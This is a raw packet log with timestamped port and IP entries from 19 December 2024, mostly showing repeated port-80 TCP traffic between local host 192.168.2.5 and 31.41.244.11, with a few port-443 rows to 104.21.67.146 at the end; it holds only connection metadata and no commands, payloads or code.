Dec 19, 2024 03:09:31.654851913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.654907942 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.654963017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.655011892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.656081915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.656138897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.656229973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.656277895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.657304049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.657362938 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.657423973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.657474041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.658555984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.658620119 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.658724070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.658787966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.659810066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.659866095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.659888983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.659970999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.661118031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.661170959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.661262035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.661314011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.662235975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.662290096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.662338972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.662416935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.663618088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.663634062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.663676977 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.663710117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.664797068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.664812088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.664860010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.664860010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.665952921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.665968895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.666011095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.666043043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.667104959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.667160034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.667227030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.667277098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.668333054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.668381929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.668411016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.668456078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.669598103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.669650078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.669733047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.669800997 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.670628071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.670727968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.670780897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.670780897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.671778917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.671873093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.671897888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.671951056 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.672935009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.672991991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.673024893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.673094988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.674062967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.674108982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.674185991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.674227953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.675256968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.675324917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.675507069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.675554037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.676424980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.676477909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.676589012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.676641941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.677656889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.677673101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.677707911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.677752018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.678863049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.678879023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.678911924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.678951979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.679966927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.680007935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.680124044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.680171967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.681085110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.681133986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.681140900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.681184053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.682305098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.682321072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.682354927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.682396889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.683365107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.683418036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.683578968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.683623075 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.684519053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.684567928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.684643030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.684689045 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.685759068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.685785055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.685833931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.685833931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.686835051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.686878920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.686945915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.686988115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.687995911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.688036919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.688100100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.688138962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.689183950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.689229012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.689249039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.689289093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.690403938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.690419912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.690450907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.690466881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.691567898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.691596985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.691620111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.691634893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.692629099 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.692676067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.692751884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.692797899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.693927050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.693943024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.693969965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.693984985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.694941998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.694989920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.695358038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.695406914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.696204901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.696221113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.696259022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.696290970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.697362900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.697381020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.697422981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.697453976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.698534966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.698550940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.698590040 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.698621988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.699631929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.699688911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.699820995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.699887037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.700845003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.700866938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.700900078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.700932026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.702013016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.702028990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.702088118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.702088118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.703062057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.703118086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.703169107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.703226089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.704217911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.704271078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.833393097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.833498001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.833513021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.833554983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.833904028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.833920956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.833952904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.833975077 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.834819078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.834889889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.834984064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.835027933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.835886955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.835942030 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.836119890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.836160898 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.836894035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.836932898 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.837012053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.837055922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.837981939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.838025093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.838099003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.838140965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.838835955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.838877916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.838939905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.838984966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.839986086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.840030909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.840045929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.840092897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.840874910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.840915918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.840950966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.840991020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.841872931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.841917038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.841986895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.842027903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.843056917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.843075991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.843101025 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.843115091 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.843841076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.843887091 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.843976021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.844017982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.844813108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.844856024 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.844927073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.844968081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.845799923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.845845938 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.845921040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.845963955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.846828938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.846862078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.846873999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.846898079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.847887039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.847903013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.847929955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.847953081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.848795891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.848836899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.848938942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.848978996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.849900007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.849915028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.849965096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.849988937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.850830078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.850872993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.850940943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.850982904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.852108002 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.852158070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.852166891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.852206945 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.852798939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.852842093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.853040934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.853084087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.853915930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.853934050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.853962898 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.853975058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.854814053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.854860067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.854875088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.854914904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.855925083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.855942011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.855973959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.855998993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.856817961 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.856862068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.856934071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.856976032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.857774019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.857820988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.857903004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.857945919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.858949900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.858968019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.858992100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.859014034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.859860897 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.859905005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.860009909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.860064983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.860841990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.860857010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.860918999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.861768007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.861814022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.861922979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.861969948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.862840891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.862889051 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.862927914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.862972021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.863771915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.863820076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.863898993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.863943100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.864902973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.864917994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.864948988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.864980936 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.865808964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.865856886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.865905046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.865948915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.866785049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.866832972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.866852999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.866894960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.867738008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.867785931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.867865086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.867908001 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.868850946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.868875980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.868902922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.868920088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.869760036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.869802952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.869982958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.870026112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.870817900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.870862007 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.871048927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.871092081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.871886015 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.871928930 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.871956110 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.872003078 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:31.872026920 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.872071028 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:31.872078896 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.872380972 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.872421980 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:31.872431993 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.872730970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.872747898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.872776031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.872796059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.873219967 CET	80	49885	31.41.244.11	192.168.2.5
